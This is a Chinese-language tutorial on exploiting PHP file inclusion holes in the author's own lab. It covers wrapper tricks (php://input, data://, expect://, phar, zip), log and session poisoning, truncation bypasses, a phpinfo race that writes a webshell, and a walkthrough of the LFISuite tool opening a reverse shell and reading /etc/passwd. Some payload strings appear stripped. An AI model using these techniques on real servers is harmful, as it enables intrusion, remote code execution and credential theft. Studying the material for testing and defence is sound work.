PHP文件包含漏洞的产生原因是在通过PHP的函数引入文件时,由于传入的文件名没有经过合理的校验,从而导致意外的文件泄露甚至恶意的代码注入。涉及文件包含漏洞的四个函数如下:
include()
include_once()
require()
require_once()
reuqire() 如果在包含的过程中有错,比如文件不存在等,则会直接退出,不执行后续语句。
include() 如果出错的话,仍然会继续执行后续语句。
require_once()和 include_once()功能与require()和 include()类似,如果一个文件已经被包含过了,则不会再次包含。
分为本地文件包含和远程文件包含:
1、本地文件包含
最简单的一个文件包含案例:
2、远程文件包含
可以解析远程服务器文件,但是存在限制,如下:
allow_url_fopen = On
allow_url_include = On
1、上传图片或者附件。
上传头像、发表帖子处等。
2、php://input(allow_url_include = On)
3、data协议(allow_url_include = On)
172.16.100.168:8080/post.php?file=data:text/plain,
4、php://filter
http://172.16.100.168:8080/post.php?file=php://filter/read=convert.base64-encode/resource=post.php
5、SESSION
需要在session中有可控的部分
常见路径如下:
测试程序session.php如下:
访问http://192.168.192.120/session.php?username=
包含session文件http://192.168.192.120/lfi.php?file=/var/lib/php/session/sess_0afdh9b5n6i853akpl17ct1em6
6、access log、error log。
1)需要知道log文件的路径
可以先读一下nginx、apache默认的配置文件位置,例如/usr/local/nginx/conf/nginx.conf、/etc/httpd/conf/httpd.conf等等
可以尝试包含 /proc/self/cmdline 或者/proc/self/fd/
2)需要有权限
如果apache是通过yum安装的话,那么默认log文件的位置是/var/log/httpd/
我们首先包含http://172.16.100.168:8080/post.php?file=../../../../../var/log/httpd/access_log
发现返回界面为空,可能权限不够,我们来看一下权限
这里因为httpd目录的other权限为0,所有apache的默认启动账户apache是无法进入这个目录的,我们为了测试修改一下权限。
[root@vincent log]# chmod 701 httpd/
然后访问http://172.16.100.168:8080/post.php?file=../../../../../var/log/httpd/access_log发现可以包含到access_log了。
我们将UA修改为就可以了。另外可以直接写到参数中,不过因为使用Firefox提交172.16.100.168:8080/post.php?file=的话记录到日志的内容会将尖括号和空格进行URL编码,所以使用BURP提交。
但是如果access log文件太大,基本无法包含成功,可以尝试包含error log,error log一般小一些。
我们随便访问一个不存在的路径,然后增加个referer:就可以了,来看下error_log
[Mon Aug 15 08:19:40 2016] [error] [client 172.16.100.1] File does not exist: /var/www/html/12324324, referer:
7、包含/proc/self/environ(Root权限)
当前的USER_AGENT变量会被写进了这个文件,所以我们修改UA即可。比如我们将UA修改为包含即可解析。
8、/proc/self/fd/*(Root权限)
可以通过遍历FD来包含error_log文件。
9、利用LFI和phpinfo getshell
利用条件:
1)需要知道phpinfo路径;
2)网站存在文件包含漏洞;
3)需要有Web目录的写入权限;
我们知道在向服务器上任意php文件post请求上传数据时,都会生成临时文件,我们可以在临时文件删除之前包含临时文件来生成Webshell,可以phpinfo页面找到临时文件的路径及名字。
利用脚本如下:
https://github.com/hxer/vulnapp/blob/master/lfi_phpinfo/poc/lfi_phpinfo.py
需要修改三处:
1)Webshell的位置
payload += '\');?>'
这里生成在当前目录下
2)phpinfo文件的位置
req = 'POST {path}/phpinfo.php?a={padding} HTTP/1.1\r\n'.format(path=php_path, padding=padding)
3)文件包含文件的位置
lfi_req = 'GET {path}/post.php?file=%s HTTP/1.1\r\n'.format(path=php_path)
然后执行Python文件
[root@vincent tmp]# python lfi.py 127.0.0.1 -p 8080
LFI with phpinfo()
==============================
INFO:__main__:Getting initial offset ...
INFO:__main__:found [tmp_name] at 162448
INFO:__main__:
Got it! Shell created in /tmp/g
INFO:__main__:Wowo! \m/
INFO:__main__:Shutting down...
然后看一下生成
[root@vincent tmp]# cat /var/www/html/shell.php
10、expect://
首先PHP需要支持该扩展
[root@server120 expect-0.3.3]# pecl install channel://pecl.php.net/expect-0.3.3
报错:
checking for tcl version... configure: error: not found
ERROR: `/var/tmp/expect/configure' failed
添加软链
[root@server120 lib]# ln -s /usr/lib64/tcl8.5 /usr/lib/tcl8.5
php.ini添加extension=expect.so
[root@server120 tmp]# curl http://192.168.192.120/1.php?file=expect://whoami
apache
11、phar://(PHP版本 > 5.3)
文件info.php是phpinfo文件,压缩
[root@server120 html]# zip test.zip info.php
adding: info.php (stored 0%)
相对路径:http://192.168.192.120/lfi.php?file=phar://test.zip/info.php
绝对路径:http://192.168.192.120/lfi.php?file=phar:///var/www/html/test.zip/info.php
12、zip://(PHP版本 > 5.3)
构造zip包的方法同phar,与phar不同的是压缩包与压缩包中文件中间写成%23
相对路径:http://192.168.192.120/lfi.php?file=zip://test.zip%23info.php
绝对路径:http://192.168.192.120/lfi.php?file=zip:///var/www/html/test.zip%23info.php
13、/var/log/secure(Root权限)
使用PHP代码作为用户名登录:ssh ‘’@192.168.192.120
[root@server120 html]# cat /var/log/secure | grep php
Jan 2 14:12:28 server120 sshd[17482]: Invalid user ‘’ from 192.168.190.201
但是secure文件仅root可读。
[root@server120 html]# ls -al /var/log/secure
-rw——-. 1 root root 1471 1月 2 14:12 /var/log/secure
所以需要中间件是Root权限启动才行。
1、本地文件包含
修改lfi.php代码如下:
1)%00截断(magic_quotes_gpc=off & PHP版本 < 5.3.4):
http://127.0.0.1/test/post.php?file=./phpinfo.php%00
2)路径长度截断(php版本 < 5.2.8 & linux文件名长于4096,windows长于256):
?file=../../../../../../../../../etc/passwd/././././././.[…]/./././././.
3)点号截断(php版本 < 5.2.8 & window环境 & 点号需要长于256):
?file=../../../../../../../../../boot.ini/………[…]…………
2、远程文件包含
1)?file=http://example.com/shell.txt?
2)?file=http://example.com/shell.txt%23
功能:
1、可以根据字典跑文件(自带字典pathtotest.txt和pathtotest_huge.txt)
2、可以获取LFI shell,并且反弹Bash。
支持8种方法:
1) /proc/self/environ
2) php://filter
3) php://input
4) /proc/self/fd
5) access_log
6) phpinfo
7) data://
8) expect://
下载地址:git clone https://github.com/D35m0nd142/LFISuite.git
1、跑文件
--------------------
1) Exploiter
2) Scanner
x) Exit
--------------------
-> 2
[*] Enter cookies if needed (ex: 'PHPSESSID=12345;par=something') [just enter if none] ->
[?] Do you want to enable TOR proxy ? (y/n) n
.:: LFI Scanner ::.
[*] Enter the name of the file containing the paths to test -> pathtotest.txt
[*] Enter the URL to scan (ex: 'http://site/vuln.php?id=') -> http://192.168.192.120/1.php?file=
[+] Retrieved 27 interesting paths.
Logs: [0]
------------------------------------------------------------------------------------------
------------------------------------------------------------------------------------------
/proc/self/environ: [0]
------------------------------------------------------------------------------------------
------------------------------------------------------------------------------------------
/proc/self/fd: [0]
------------------------------------------------------------------------------------------
------------------------------------------------------------------------------------------
Configuration: [0]
------------------------------------------------------------------------------------------
------------------------------------------------------------------------------------------
Generic: [27]
------------------------------------------------------------------------------------------
http://192.168.192.120/1.php?file=/etc/passwd
http://192.168.192.120/1.php?file=/etc/group
......
2、获取LFI Shell
[*] Checking for LFISuite updates..
[-] No updates available.
--------------------
1) Exploiter
2) Scanner
x) Exit
--------------------
-> 1
[*] Enter cookies if needed (ex: 'PHPSESSID=12345;par=something') [just enter if none] ->
[?] Do you want to enable TOR proxy ? (y/n) n
.:: LFI Exploiter ::.
____________________________
Available Injections
____________________________
1) /proc/self/environ
2) php://filter
3) php://input
4) /proc/self/fd
5) access_log
6) phpinfo
7) data://
8) expect://
9) Auto-Hack
x) Back
____________________________
-> 3
.:: php://input wrapper Injection ::.
[*] Enter the php://input vulnerable url (ex: 'http://site/index.php?page=') -> http://192.168.192.120/1.php?file=
[+] The website seems to be vulnerable. Opening a Shell..
[If you want to send PHP commands rather than system commands add php:// before them (ex: php:// fwrite(fopen('a.txt','w'),"content");]
[email protected]:/var/www/html$ whoami
apache
[email protected]:/var/www/html$ reverseshell
[WARNING] Make sure to have your netcat listening ('nc -lvp port') before going ahead.
[*] Enter the IP address to connect back to -> 192.168.192.120
[*] Enter the port to connect to [default: 12340] -> 2345
反弹shell
[root@server120 logs]# nc -vv -l -p 2345
Listening on any address 2345 (dbm)
Connection from 192.168.192.120:47651
bash: cannot set terminal process group (32241): Invalid argument
bash: no job control in this shell
bash-4.4$ cat /etc/passwd
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin